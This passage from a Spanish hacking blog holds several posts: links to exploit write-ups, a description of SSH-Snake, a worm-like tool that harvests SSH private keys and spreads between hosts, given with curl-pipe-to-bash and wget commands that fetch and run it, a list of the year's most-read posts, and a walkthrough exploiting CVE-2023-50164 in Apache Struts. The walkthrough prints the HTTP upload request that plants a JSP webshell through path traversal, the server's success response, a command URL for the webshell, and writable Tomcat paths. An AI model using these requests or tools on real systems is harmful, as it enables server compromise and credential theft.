. DOMPurify evita la desinfección en Proton Mail mediante el cambio de nombre de svg a proton-svg, lo que conduce a XSS.</span></span><br /><br /></li><li><a href="https://infosecwriteups.com/hacking-into-grpc-web-a54053757a45" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Hackear gRPC-Web</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Explotar gRPC-Web para descubrir servicios y parámetros ocultos, lo que genera vulnerabilidades como la inyección SQL.</span></span><br /><br /></li><li><a href="https://hackerone.com/reports/2089042" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Yelp ATO a través de XSS + Cookie Bridge</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Lograr la adquisición de cuenta (ATO) en yelp.com y biz.yelp.com a
través de Cross-Site Scripting (XSS) junto con Cookie Bridging.</span></span><br /><br /></li><li><a href="https://offzone.moscow/upload/iblock/11a/sagouc86idiapdb8f29w41yaupqv6fwv.pdf" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Explotación de vulnerabilidades de división de solicitudes HTTP</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Aprovechando las configuraciones erróneas de nginx para realizar
la división de solicitudes HTTP mediante caracteres de control en
variables.</span></span><br /><br /></li><li><a href="https://asdqw3.medium.com/xss-in-gmail-dynamic-email-amp-for-email-3872d6052a0d" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">XSS en correo electrónico dinámico de GMAIL</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
La explotación del análisis de CSS en AMP para correo electrónico
de Gmail permitió la inyección de metaetiquetas para posible phishing,
evitando CSP estricto sin XSS efectivo.</span></span><br /><br /></li><li><a href="https://www.praetorian.com/blog/azure-b2c-crypto-misuse-and-account-compromise/" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Uso indebido de criptografía de Azure B2C y compromiso de la cuenta</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Extracción de claves RSA públicas para crear tokens de
actualización de OAuth válidos y comprometer las cuentas de usuario de
Azure AD B2C.</span></span><br /><br /></li><li><a href="https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Comprometer F5 BIGIP con smuggling de solicitudes</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Explotar el protocolo AJP con smuggling de solicitudes HTTP para
evitar la autenticación y ejecutar comandos arbitrarios del sistema en
sistemas F5 BIG-IP identificados por CVE-2023-46747.</span></span><br /><br /></li><li><a href="https://ermetic.com/blog/azure/emojideploy-smile-your-azure-web-service-just-got-rced/" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">EmojiDeploy: ¡Sonríe! </span><span style="vertical-align: inherit;">Su servicio web de Azure acaba de obtener RCE.</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Explotación de una configuración incorrecta en el mismo sitio y
omisión de verificación de origen en Azure Kudu SCM para lograr RCE a
través de CSRF a través de implementaciones de archivos ZIP.</span></span><br /><br /></li><li><a href="https://adnanthekhan.com/2023/12/20/one-supply-chain-attack-to-rule-them-all/" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Un ataque a la cadena de suministro para gobernarlos a todos</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Explotación de ejecutores de GitHub Action autohospedados para
acceso persistente y ejecución de código arbitrario en la
infraestructura interna de GitHub para comprometer secretos de CI/CD y
potencialmente alterar las imágenes del ejecutor de GitHub para ataques a
la cadena de suministro.</span></span><br /><br /></li><li><a href="https://lude.rs/h4ck1ng/draw.io_cves.html" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Pérdida de token de OAuth CVE de draw.io</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
debido a una omisión de espacios en blanco en la validación de URL.</span></span><br /><br /></li><li><a href="https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Filtración
de secretos de acciones de GitHub: lectura de archivos y variables de
entorno, interceptación de comunicación de red/proceso, volcado de
memoria</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Aprovechamiento de la inyección de comandos en acciones de GitHub
para leer variables y archivos de entorno, interceptar comunicación de
red y proceso, y volcado de memoria para extraer secretos.</span></span><br /><br /></li><li><a href="https://github.com/musana/fuzzuli" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">fuzzuli</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Generación dinámica de listas de palabras basadas en
transformaciones de nombres de dominio para descubrir archivos de
respaldo.</span></span><br /><br /></li><li><a href="https://www.paloaltonetworks.com/blog/prisma-cloud/github-actions-worm-dependencies/" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">El gusano de acciones de GitHub: comprometer repositorios de GitHub a través del árbol de dependencia de acciones</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Aprovechar el árbol de dependencia de acciones de GitHub para
propagar malware de forma recursiva entre repositorios que utilizan
acciones comprometidas.</span></span><br /><br /></li><li><a href="https://kapytein.nl/from-an-innocent-client-side-path-traversal-to-account-takeover" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Desde un recorrido de ruta inocente del lado del cliente hasta el takeover de cuentas</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Aprovechando el recorrido de ruta del lado del cliente en
solicitudes de recuperación y la redirección de errores de OAuth para la
apropiación de cuentas.</span></span><br /><br /></li><li><a href="https://medium.com/@LogicalHunter/trpc-security-research-hunting-for-vulnerabilities-in-modern-apis-b0d38e06fa71" rel="nofollow"><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">Investigación de seguridad de tRPC: búsqueda de vulnerabilidades en las API modernas</span></span></a><br /><span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
Aprovechamiento de errores de tipo y puntos finales del panel trpc
mal protegidos para identificar y explotar las vulnerabilidades de la
API de tRPC.</span></span><br /></li></ul>Vicente Motoshttp://www.blogger.com/profile/03053036399006390105noreply@blogger.com0tag:blogger.com,1999:blog-9133539773684103848.post-66280660307107008052024-01-07T02:05:00.003+01:002024-01-07T02:12:35.621+01:00SSH-Snake: propagación automatica por SSH<p></p><div class="separator" style="clear: both;">SSH-Snake es una herramienta diseñada para intentar recorrer automáticamente la red como un gusano utilizando <b>claves privadas SSH</b> descubiertas en los sistemas, con el objetivo de crear un mapa completo y sus dependencias, identificando hasta qué punto una red puede verse comprometida usando SSH y claves privadas a partir de un sistema particular.</div><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3jGIEdTz1nDBlOaWHVesROpB_VLF8FPxgDQ3XUu-CmuYdBcVSh51s1O_3LP2LKSUlLAdizEElP_viajkhfufzFZMr8s5YtIzxu4jhyphenhyphenNaHrWAu9JmIOqtqZ9oPaNpqVFQHI3nL2cmaFHdqxVY_NWSIgAnL-zxIme6IBeHlKVUO6JDPx-vnWXrsE0oGhGqx/s3330/SSH-Snake-Screenshot.png" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" data-original-height="1808" data-original-width="3330" height="348" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3jGIEdTz1nDBlOaWHVesROpB_VLF8FPxgDQ3XUu-CmuYdBcVSh51s1O_3LP2LKSUlLAdizEElP_viajkhfufzFZMr8s5YtIzxu4jhyphenhyphenNaHrWAu9JmIOqtqZ9oPaNpqVFQHI3nL2cmaFHdqxVY_NWSIgAnL-zxIme6IBeHlKVUO6JDPx-vnWXrsE0oGhGqx/w640-h348/SSH-Snake-Screenshot.png" width="640" /></a></div><p>Básicamente sigue estos cuatro pasos:<br /></p><ol style="text-align: left;"><li>En el sistema actual, busca las claves privadas SSH: en .bash_history y ficheros y directorios comunes</li><li>En el sistema actual, busca los hosts o destinos (usuario@host) en los que se puedan aceptar las claves privadas: a partir de rangos de IP, últimos inicios de sesión, hosts conocidos, archivos de configuración SSH y más</li><li>Intenta realizar SSH en todos los destinos utilizando todas las claves privadas descubiertas. Además tiene la capacidad de detectar cuando un sistema ya ha sido escaneado o está en proceso de ser escaneado, de modo que una red como A->B->C también pueda descubrir C->A pero no regrese a A->B-> C-A->B->C->A->B->...</li><li>Si se conecta correctamente a un destino, repite los pasos del 1 al 4 en el sistema al que está conectado.</li></ol><p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpiOZt2mOqw7o32yj7c2gBwoDrHlxbGpy2Tl8noLUu_ILv7312Uc8T8wG240wTn0kVpWJntGTGe509jEobX0tPaMdvJn8jsxzKktpmLtfaRY9xTxwRjfo_8ErrpoHiq5COcjSGx1v4x9Dz78zrAT5YjrT2R770t46HlhviOlXISbQe_Q9dlNYdlVIcP0IK/s1018/computersnake.png" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em; text-align: center;"><img border="0" data-original-height="1010" data-original-width="1018" height="317" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpiOZt2mOqw7o32yj7c2gBwoDrHlxbGpy2Tl8noLUu_ILv7312Uc8T8wG240wTn0kVpWJntGTGe509jEobX0tPaMdvJn8jsxzKktpmLtfaRY9xTxwRjfo_8ErrpoHiq5COcjSGx1v4x9Dz78zrAT5YjrT2R770t46HlhviOlXISbQe_Q9dlNYdlVIcP0IK/s320/computersnake.png" width="320" /></a>En definitiva SSH-Snake emula a la perfección y de forma rápida lo que haría un atacante para descubrir claves privadas SSH y destinos donde pueden usarse para conectarse. Está escrita completamente en Bash y opera con un <b>conjunto mínimo de dependencias</b> normalmente disponibles en las principales distribuciones Linux: bash, ssh, getconf, coreutils, getent, awk, sort, grep, tr, find y cat. Del mismo modo, también se pueden utilizar sudo, hostname, ip y xargs, pero no son necesarios (y el script maneja con elegancia los casos en los que no están presentes). Si se descubre un sistema sin ninguno de los paquetes requeridos, falla, alertando al usuario que el análisis no pudo continuar en ese sistema en particular (y retrocede, continuando desde el sistema anterior).</p><p>SSH-Snake es completamente <b><i>fileless</i></b>: después de que el usuario ejecuta el script, se pasa al bash de destino a través de los argumentos stdin y bash (a través de SSH). No existe evidencia material del script en ninguno de los sistemas analizados: la única evidencia de que el script se está ejecutando está en el árbol de procesos y en la cantidad sustancial de intentos SSH no válidos que inevitablemente ocurrirán.</p><p>SSH-Snake adopta un enfoque de descubrimiento que <b>prioriza la profundidad</b>: una vez que se conecta a un sistema, intenta conectarse más lejos de ese sistema antes de retroceder.<br /><br /><b>Uso</b><br />SSH-Snake se puede descargar o canalizar a bash:<br /></p><pre class="prettyprint" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: "Andale Mono", "Lucida Console", Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>wget https://raw.githubusercontent.com/MegaManSec/SSH-Snake/main/Snake.nocomments.sh<br />stdbuf -o0 bash ./Snake.nocomments.sh<br /></code></pre>o<br /><pre class="prettyprint" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: "Andale Mono", "Lucida Console", Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>curl https://raw.githubusercontent.com/MegaManSec/SSH-Snake/main/Snake.nocomments.sh | stdbuf -o0 bash<br /></code></pre>Además SSH-Snake es modular y configurable y viene con scripts que nos permitirán exportar a <b>mapas</b> en png a partir de la salida del script. Por ejemplo:<br /><pre class="prettyprint" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: "Andale Mono", "Lucida Console", Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>python3 tools/generate-graph.py --with-users --file SSHSnake.log --format dot<br />circo -Tpng -Goverlap=false -Gsplines=true -Gconcentrate=true -Gnodesep=0.1 -Goverlap=false SSHSnake_dot_file.dot -o SSH-Snake-dot-circo.png<br /></code></pre><p> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwAA1NtIphOcvSQbo53eGP5dj6ifyIPPugyeuoQYUeCpaJx4jvS1W-ZyFv0ZfbOUbTOQKFTCK1MlKZuMsk_izgmlTaP6xvteKQnCdFv5bGi2exSNHkyRsqp1403HPH8VGWg919zml77d7X3-Re0LZZIiuGeBF1LR2FSOXwmIF7joa4ZtXebKMbc3CJu5ZT/s1033/ssh-snake-map.png" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" data-original-height="709" data-original-width="1033" height="439" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwAA1NtIphOcvSQbo53eGP5dj6ifyIPPugyeuoQYUeCpaJx4jvS1W-ZyFv0ZfbOUbTOQKFTCK1MlKZuMsk_izgmlTaP6xvteKQnCdFv5bGi2exSNHkyRsqp1403HPH8VGWg919zml77d7X3-Re0LZZIiuGeBF1LR2FSOXwmIF7joa4ZtXebKMbc3CJu5ZT/w640-h439/ssh-snake-map.png" width="640" /></a><br />Además de la capacidad de crear este tipo de mapas, se proporcionan otras tres herramientas. A saber:</p><ul style="text-align: left;"><li><span style="font-family: courier;">forward-lookup-host.py</span>: dado un host de origen o destino, determina todos los sistemas a los que se puede acceder directa o indirectamente (es decir, a través de un sistema tercero).</li><li><span style="font-family: courier;">reverse-lookup-host.py</span>: dado un host o destino de destino, determina todos los sistemas que pueden acceder a él directa o indirectamente.</li><li><span style="font-family: courier;">short-path-create-chain.py</span>: dado el host o destino A y B, determina la ruta más corta que conecta los dos.</li></ul><b>Proyecto</b>: <a href="https://github.com/MegaManSec/SSH-Snake">https://github.com/MegaManSec/SSH-Snake</a><p></p>Vicente Motoshttp://www.blogger.com/profile/03053036399006390105noreply@blogger.com0tag:blogger.com,1999:blog-9133539773684103848.post-77715908835612527502023-12-31T01:14:00.005+01:002023-12-31T10:40:04.022+01:00 Lo más visto de 2023 en Hackplayers <p>Se acaba el año y toca hacer un breve balance de lo que fue 2023. En el ámbito de Hackplayers quizás algo agridulce porque por un lado en febrero celebramos la quinta edición de nuestra <a href="https://www.h-c0n.com/p/home.html" target="_blank">conferencia h-c0n</a> y por otro porque posteriormente decidimos tomarnos un respiro para la edición de 2024. Esperamos que no se cumpla el dicho "morir de éxito" y volvamos a hacer una sexta edición, pero por ahora necesitamos descansar y reorganizarnos.<br /></p><p>No obstante, en este nuevo año que entra seguiremos con el incesante goteo de posts en este viejo blog que volvió a ser finalista en los <a href="https://www.eset.com/es/premios/periodismo-2023/" target="_blank">VII Premios ESET de Periodismo y Divulgación en Seguridad Informática</a>, seguiremos informando y comentando en nuestra <a href="https://twitter.com/hackplayers" target="_blank">cuenta de Twitter</a>, bailaremos al ritmo de #shon e nuestros canales de <a href="http://t.me/hackplayers" target="_blank">Telegram</a> y tenemos planeado, como ya os dijimos, hacer una sesión de formaciones, la 'Hackplayers' Academy', así que permaneced atentos a ver si conseguimos materializarlo...</p><p>Y mientras fuera en el mundo las cosas no van tan bien. A veces es difícil hablar de seguridad informática cuando en muchos lugares está en peligro la seguridad de las propias personas, en Ucrania, en Gaza y en todas las guerras en la actualidad. No miremos para otro lado, por los inocentes. </p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv5H2fChQNf3iOmbPJ6hCp1DTVrKeMm_QMrK69TiGbfQwXnoUX-qB4gF1FL-c90WNoQKbTWgGidthOOVfSRQhGVjouBLD7OR3m7NoSvVieGlgrC7kLeMBmGi8_hh9qJgQNi49sFHPLggiKrpZIVy3vMHTxUh_38Ue-ATJPI-tHsO_wxC7yIB2dEzZHfvzx/s688/2023progress.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="227" data-original-width="688" height="106" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv5H2fChQNf3iOmbPJ6hCp1DTVrKeMm_QMrK69TiGbfQwXnoUX-qB4gF1FL-c90WNoQKbTWgGidthOOVfSRQhGVjouBLD7OR3m7NoSvVieGlgrC7kLeMBmGi8_hh9qJgQNi49sFHPLggiKrpZIVy3vMHTxUh_38Ue-ATJPI-tHsO_wxC7yIB2dEzZHfvzx/s320/2023progress.png" width="320" /></a></div><p></p><p></p><p>pd. Os dejamos como siempre con los posts escritos y más vistos durante el año y deseando lo mejor para todos para este 2024 que entra. ¡Feliz año!<br /></p><ol style="text-align: left;"><li><a href="https://www.hackplayers.com/2023/05/extraccion-de-la-contrasena-maestra-de-keepass.html " target="_blank">Extracción de la contraseña maestra de KeePass (CVE-2023-32784) </a></li><li><a href="https://www.hackplayers.com/2023/09/comando-i20100-o-como-hackear-gasolineras.html " target="_blank">Comando I20100 o cómo hackear gasolineras </a></li><li><a href="https://www.hackplayers.com/2023/08/tunnelcrack-leakear-trafico-vpns.html " target="_blank">TunnelCrack: nuevas vulnerabilidades que afectan a la mayoría de VPNs </a></li><li><a href="https://www.hackplayers.com/2023/11/salarios-de-ciber-seguridad-en-espana-2324.html " target="_blank">Salarios de ciber seguridad en España (encuesta 2023/2024) </a></li><li><a href="https://www.hackplayers.com/2023/07/tecnicas-evasion-firewall.html " target="_blank">Principales técnicas de evasión de firewalls </a></li><li><a href="https://www.hackplayers.com/2023/10/en-2024-no-habra-h-c0n-comunicado.html " target="_blank">En 2024 NO habrá h-c0n (comunicado oficial) </a></li><li><a href="https://www.hackplayers.com/2023/04/wa-tunnel-tunel-tcp-sobre-whatsapp.html " target="_blank">wa-tunnel: túnel TCP sobre Whatsapp</a></li><li><a href="https://www.hackplayers.com/2023/05/bypass-parche-CVE-2023-23397.html " target="_blank">Evasión del parche para la vulnerabilidad 0-click en Outlook CVE-2023-23397 </a></li><li><a href="https://www.hackplayers.com/2023/08/RDPCredStealerDLL-robo-creds-RDP.html " target="_blank">Robo de credenciales RDP (Escritorio Remoto) con RDPCredStealerDLL </a></li><li><a href="https://www.hackplayers.com/2023/05/los-5-libros-mas-famosos-de-hacking.html " target="_blank">Los 5 libros más famosos de hacking de la historia: Una mirada a la literatura clásica del mundo de la seguridad informática </a></li><li><a href="https://www.hackplayers.com/2023/04/5-distros-linux-ciberseguridad.html " target="_blank">5 distribuciones de Linux orientadas al hacking y la ciberseguridad </a></li><li><a href="https://www.hackplayers.com/2023/10/probando-la-vulnerabilidad-rapid-reset.html " target="_blank">Probando la vulnerabilidad "rapid reset" (CVE-2023-44487): una amenaza emergente para los servidores HTTP/2 </a></li><li><a href="https://www.hackplayers.com/2023/07/vulnerabilidad-vision1210-unitronics.html " target="_blank">Vulnerabilidad de código malicioso embebido en Vision1210 de Unitronics </a><br /></li><li><a href="https://www.hackplayers.com/2023/08/filtran-StagingTool-para-Windows-11.html " target="_blank">Filtran una herramienta interna de Microsoft para habilitar funciones ocultas en Windows 11 (StagingTool) </a></li><li><a href="https://www.hackplayers.com/2023/12/puncia-subdominios-exploits-por-IA.html " target="_blank">Puncia: herramienta para obtener subdominios y exploits impulsada por IA </a></li><li><a href="https://www.hackplayers.com/2023/09/redpersist-persistencia-en-windows.html " target="_blank">RedPersist una herramienta de persistencia en Windows escrita en C#</a></li><li><a href="https://www.hackplayers.com/2023/06/primer-satelite-en-orbita-para-ctf.html " target="_blank">A punto de lanzar Moonlighter, el primer satélite real que podrá ser hackeado en un CTF (Defcon 31) </a></li><li><a href="https://www.hackplayers.com/2023/11/abusando-de-las-gpo-con-pygpoabuse.html " target="_blank">Abusando de las GPO con pyGPOAbuse </a></li><li><a href="https://www.hackplayers.com/2023/11/secuestro-de-objetos-com-persistencia.html" target="_blank">Secuestro de objetos COM para persistencia </a></li><li><a href="https://www.hackplayers.com/2023/10/patch-palooza-analisis-de-parches-ms.html ">Patch-A-Palooza: análisis de parches de seguridad de Microsoft desde la línea de comandos </a></li><li><a href="https://www.hackplayers.com/2023/06/i-like-to-move-it-move-it-cve-2023-34362.html " target="_blank">I like to move it, move it... (CVE-2023-34362) </a></li><li><a href="https://www.hackplayers.com/2023/04/goad-pwning-is-coming-lab-ad-pruebas.html " target="_blank">GOAD: Pwning is coming (lab AD pruebas)</a></li><li><a href="https://www.hackplayers.com/2023/10/stompy-herramienta-para-timestomping.html " target="_blank">Stompy: herramienta para timestomping </a></li><li><a href="https://www.hackplayers.com/2023/09/vulnerabilidad-heap-overflow-notepad-plus.html " target="_blank">Vulnerabilidad de heap buffer overflow en Notepad++: análisis y reproducción</a></li><li><a href="https://www.hackplayers.com/2023/11/best-edr-of-the-market-for-testing-evasions.html" target="_blank">Best EDR Of The Market: herramienta para aprender a evadir AV/EDR </a><br /></li></ol>Vicente Motoshttp://www.blogger.com/profile/03053036399006390105noreply@blogger.com0tag:blogger.com,1999:blog-9133539773684103848.post-30127637091143746372023-12-30T23:41:00.008+01:002023-12-30T23:43:26.893+01:00Explotando CVE-2023-50164 (RCE en Apache Struts 2)<div class="lRu31"><span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZiV6_4UsM9FBHzpsfXboWr9hwmLTiahqApkE3S5z8qV-nuRdFNGWugx2J36zAZqIYcjfy7oGVLTsllUlHxUVDUHJ2Vl18v5y7y7jj-gyjvYXB3TF6rwrjwl1R04i6Wcf4UKPaPjV9Xnn3J4Fw6p8OBfai5lpdfK-5OieIMb6AVAjEJBw6l6QKizNgGUAA/s512/strutslogo.png" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" data-original-height="512" data-original-width="512" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZiV6_4UsM9FBHzpsfXboWr9hwmLTiahqApkE3S5z8qV-nuRdFNGWugx2J36zAZqIYcjfy7oGVLTsllUlHxUVDUHJ2Vl18v5y7y7jj-gyjvYXB3TF6rwrjwl1R04i6Wcf4UKPaPjV9Xnn3J4Fw6p8OBfai5lpdfK-5OieIMb6AVAjEJBw6l6QKizNgGUAA/w200-h200/strutslogo.png" width="200" /></a></div>En diciembre de 2023, se publicó un CVE y un parche críticos para Apache Struts 2. Bautizada como <b>CVE-2023-50164</b> y con una puntuación de 9,8, esta vulnerabilidad puede permitir a un atacante conseguir ejecución remota en servidores vulnerables enviando una solicitud de subida (upload) de archivos especialmente diseñada.</span></span></span></div><div class="lRu31"><span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb"> </span></span></span></div><div class="lRu31"><span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb">Normalmente, con <b>ActionSupport</b> la aplicación de Struts procesará un upload y creará un archivo temporal con <b>uploadFilename</b> configurado con un nombre temporal que no está controlado por el usuario:</span></span></span></div><div class="lRu31"><span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb"><pre class="prettyprint" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb">POST /upload.action HTTP/1.1
<br />Host:</span></span></span> 192.168.2.30<br /><span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb">User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 <br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 <br />Accept-Language: en-US,en;q=0.5 <br />Accept-Encoding: gzip, deflate <br />Content-Type: multipart/form-data; boundary=---------------------------301703858527920802152171495913 <br />Content-Length: 243 <br />Origin: http://10.102.111.30 <br />Connection: close <br />Referer: http://10.102.111.30/upload.action <br />Cookie: JSESSIONID=75ED078AC70BCDC063E949B2D2416457 <br />Upgrade-Insecure-Requests: 1 <br /> <br />-----------------------------301703858527920802152171495913 <br />Content-Disposition: form-data; name="<span style="background-color: #fcff01;">upload</span>"; filename="fichero.txt" <br />Content-Type: text/plain <br /> <br />fichero de prueba<br /> <br />-----------------------------301703858527920802152171495913--</span></span></span><code></code></pre></span></span></span></div><div class="lRu31"><span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb"></span></span></span></div><p>Pero lo sorprendente (y escalofriante por su facilidad de explotación) es que tras la investigación del chino (<a href="https://xz.aliyun.com/t/13172" target="_blank">youkill</a>) descubrimos que se puede renombrar <b>upload</b> a <b>Upload</b> y añadir otro campo <b>uploadFilename</b> para configurar otro nombre de fichero. </p><p>Si esto lo combinamos con un bonito path traversal tendremos la posibilidad de subir nuestra webshell y por ende el RCE:</p><p></p><pre class="prettyprint" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;">POST /upload.action HTTP/1.1 <br />Host: 192.168.2.30<br />Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxn8ix5qYTeAvWUCf <br />Content-Length: 339 <br /> <br />------WebKitFormBoundaryxn8ix5qYTeAvWUCf <br />Content-Disposition: form-data; name="<span style="background-color: #fcff01;">Upload</span>"; filename="1.txt" <br />Content-Type: text/plain <br /> <br /><jsp> . . . </jsp> <br /> <br />------WebKitFormBoundaryxn8ix5qYTeAvWUCf <br />Content-Disposition: form-data; name="<span style="background-color: #fcff01;">uploadFileName</span>"; <br /> <br /><span style="background-color: #fcff01;">../../../../var/www/html/webshell.jsp </span><br />------WebKitFormBoundaryxn8ix5qYTeAvWUCf--<code></code></pre><p></p><p></p><p></p><p>Si el servidor es vulnerable obtendremos la subida con éxito:</p><p></p><pre class="prettyprint" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;">HTTP/1.1 200 <br />Vary: Sec-Fetch-Dest,Sec-Fetch-Mode,Sec-Fetch-Site,Sec-Fetch-User <br />Cross-Origin-Embedder-Policy-Report-Only: require-corp <br />Cross-Origin-Opener-Policy: same-origin <br />Set-Cookie: JSESSIONID=1E2469CF8B3AF7C4CC070E14DF5FC93C; Path=/; HttpOnly <br />Content-Type: text/html;charset=UTF-8 <br />Content-Language: en-US <br />Content-Length: 632 <br />Date: Sat, 30 Dec 2023 18:08:00 GMT <br /><br /><html><br /><head><br /> <title>File Upload - Success</title><br /> <link rel="stylesheet" type="text/css" href="bootstrap.min.css"><br /></head><br /><body><br /><div class="container py-5"><br /> <h2 class="text-center mb-4">File Upload - Success</h2><br /><br /> <br /> <div class="alert alert-success"><br /> <br /> <span style="background-color: #fcff01;">File uploaded successfully </span>to /tmp/uploads//../../../../usr/local/tomcat/webapps/ROOT/webshell.jsp<br/><br /> <br /> </div><br /> <br /><div class="d-grid gap-2 col-6 mx-auto"><br /> <a href="" class="btn btn-primary">Go back to Upload Page</a><br /></div><br /></div><br /><script src="/bootstrap.bundle.min.js"></script><br /></body><br /></html><code></code></pre><p></p><p>Podemos comprobarlo visitando el jsp que hemos subido al webroot:</p><p>http://192.168.2.30/webshell4.jsp?cmd=whoami<br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBEd7QDwnUnZ6bSJjZ-rDNvLsZHr_0btS5erqMhel9rHMMUwnzFg5QoraO52wlVA0FRaSyCRTGSCKfagTCbXoyILCPSBg-VHez_GYjsqMxeO5EmxDZjqV9m06LVEDJ6IVGB3rUeYeft0wUehyjIO1FUe5gdb69qw3kZC-B47QsmYD8PWTOPS_sYVrw1opG/s214/strust2webshell.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="102" data-original-width="214" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBEd7QDwnUnZ6bSJjZ-rDNvLsZHr_0btS5erqMhel9rHMMUwnzFg5QoraO52wlVA0FRaSyCRTGSCKfagTCbXoyILCPSBg-VHez_GYjsqMxeO5EmxDZjqV9m06LVEDJ6IVGB3rUeYeft0wUehyjIO1FUe5gdb69qw3kZC-B47QsmYD8PWTOPS_sYVrw1opG/s16000/strust2webshell.png" /></a></div><p>Fácil ¿verdad? Quizás la única dificultad sea <b>encontrar un path escribible</b>, algo sin embargo bastante factible porque en la mayoría de las instalaciones lo encontraremos por defecto en:</p><p>
</p><p></p><ul><li>Windows (instalado como servicio): <code>C:\Program Files\Apache Software Foundation\Tomcat x.x\webapps</code></li></ul><ul><li>Windows (instalación manual):<code>C:\apache-tomcat-x.x.x\webapps</code></li></ul><ul><li>Linux/Unix/Mac (instalado via un package manager como APT, YUM o Brew):<code>/var/lib/tomcatx/webapps</code></li></ul><ul><li>Linux/Unix/Mac (instalación manual): <code>/opt/tomcat/webapps</code> o <code>/usr/local/tomcat/webapps</code></li></ul>
